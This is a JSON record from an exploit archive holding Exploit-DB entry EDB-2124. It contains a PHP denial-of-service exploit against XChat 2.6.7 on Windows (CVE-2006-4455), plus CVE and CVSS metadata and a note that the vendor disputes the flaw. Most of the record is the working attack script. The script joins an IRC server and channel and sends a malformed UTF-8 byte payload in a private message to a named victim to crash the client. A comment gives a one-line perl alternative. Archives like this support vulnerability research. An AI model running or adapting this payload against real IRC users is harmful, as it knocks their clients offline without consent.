{"exploit":{"id":"EDB-2124","name":"XChat 2.6.7 (Windows) - Remote Denial of Service (DoS) (1)","description":"XChat 2.6.7 (Windows) - Remote Denial of Service (DoS) (1)","cves":["CVE-2006-4455"],"author":"ratboy","published":"2006-08-07","platform":"windows","type":"dos","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2124","path":"exploits/windows/dos/2124.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2124.php","vulnerabilities":[{"id":"CVE-2006-4455","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in Xchat 2.6.7 and earlier allows remote attackers to cause a denial of service (crash) via unspecified vectors involving the PRIVMSG command. NOTE: the vendor has disputed this vulnerability, stating that it does not affect 2.6.7 \"or any recent version\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4455","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4455"},"updatedAt":"2024-08-07T19:14:46.691Z","retrievedAt":"2026-11-26T13:10:47.739Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2124.png?v=2","url":"https://exploitbin.com/exploits/EDB-2124","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2124/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2124/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?\n # another way to test this with irssi/bitchx <below> /str0ke\n # /exec -o perl -e 'print \"\\x9x\\xF0\\x92\\x8D\\x85\\xF1\\xA5\\x90\\xB4\\xF1\\x96\\x9E\\x85\\xF1\\xA6\\x8D\\xA5\\xF1\\xB8\\xA5\\x85\\xF1\\xA7\\x95\\xA8\\x29\\xF2\\x95\\x95\\x82\"'\n ?>\n\n<?php\n// XChat <= 2.6.7 Windows Remote Crash DoS by ratboy\n// Tested on Windows SP1/SP2\n// The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2\n\n//Stop the script timing out\nset_time_limit(0);\n\n//Set constants\ndefine(\"SERVER\", 'irc.enigmagroup.org');\ndefine(\"PORT\", 6667);\ndefine(\"CHANNEL\", \"#enigmagroup\");  //Set the channel the bot will join here\ndefine(\"NICK\", \"ratbot\");    //Set the bot's nick here\ndefine(\"EXPLOIT\", \"\\x9x\\xF0\\x92\\x8D\\x85\\xF1\\xA5\\x90\\xB4\\xF1\\x96\\x9E\\x85\\xF1\\xA6\\x8D\\xA5\\xF1\\xB8\\xA5\\x85\\xF1\\xA7\\x95\\xA8\\x29\\xF2\\x95\\x95\\x82\");\ndefine(\"VICTIM\", \"ratboy\");\n\n$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket\n$fp = socket_connect($socket, SERVER, PORT); // Connect to the server\nsocket_write($socket,\"USER ratboy ratboy ratboy :ratboy\\r\\n\"); // Send the Username to the server\nsocket_write($socket,\"NICK \".NICK.\" \\r\\n\"); // Change our nickname\nsocket_write($socket,\"JOIN \".CHANNEL.\" \\r\\n\"); // Join the channel\nwhile($data = @socket_read($socket,2046)) { //read the data\n    echo $data;\n    $cmd = explode(\" \", $data);\n\n    if (strpos($data, \"PING :\")===0) {\n        socket_write($socket, \"PONG :\".substr($data, 6).\"\\r\\n\");\n        continue;\n    }\n\n    if($cmd[1] == \"PRIVMSG\"){  // Send the exploit right when the channel gets a message then stop the bot\n        socket_write($socket, \"PRIVMSG \".VICTIM.\" :\".EXPLOIT.\"\\r\\n\");\n        socket_close($socket);\n    }\n}\n\n?>\n\n# milw0rm.com [2006-08-07]","sha256":"3f5541c017158baf7efa5236f7e0f5208846865dd6678a6e87fb3449d8c58676","bytes":1677,"fetchedAt":"2026-11-26T13:10:47.531Z","encoding":"utf-8 (display only; download retains original bytes)"}